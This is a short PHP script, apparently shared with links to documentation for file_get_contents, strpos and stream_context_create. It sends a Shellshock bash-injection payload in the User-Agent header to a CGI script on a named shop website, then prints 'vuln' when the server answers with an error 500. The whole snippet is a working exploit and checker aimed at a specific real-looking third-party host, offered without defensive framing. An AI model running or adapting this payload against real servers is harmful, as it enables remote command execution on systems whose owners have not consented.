- file_get_contents: documentation ( source)
- strpos: documentation ( source)
- stream_context_create: documentation ( source)
<?php
$url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi";
$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);
if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
echo "vuln";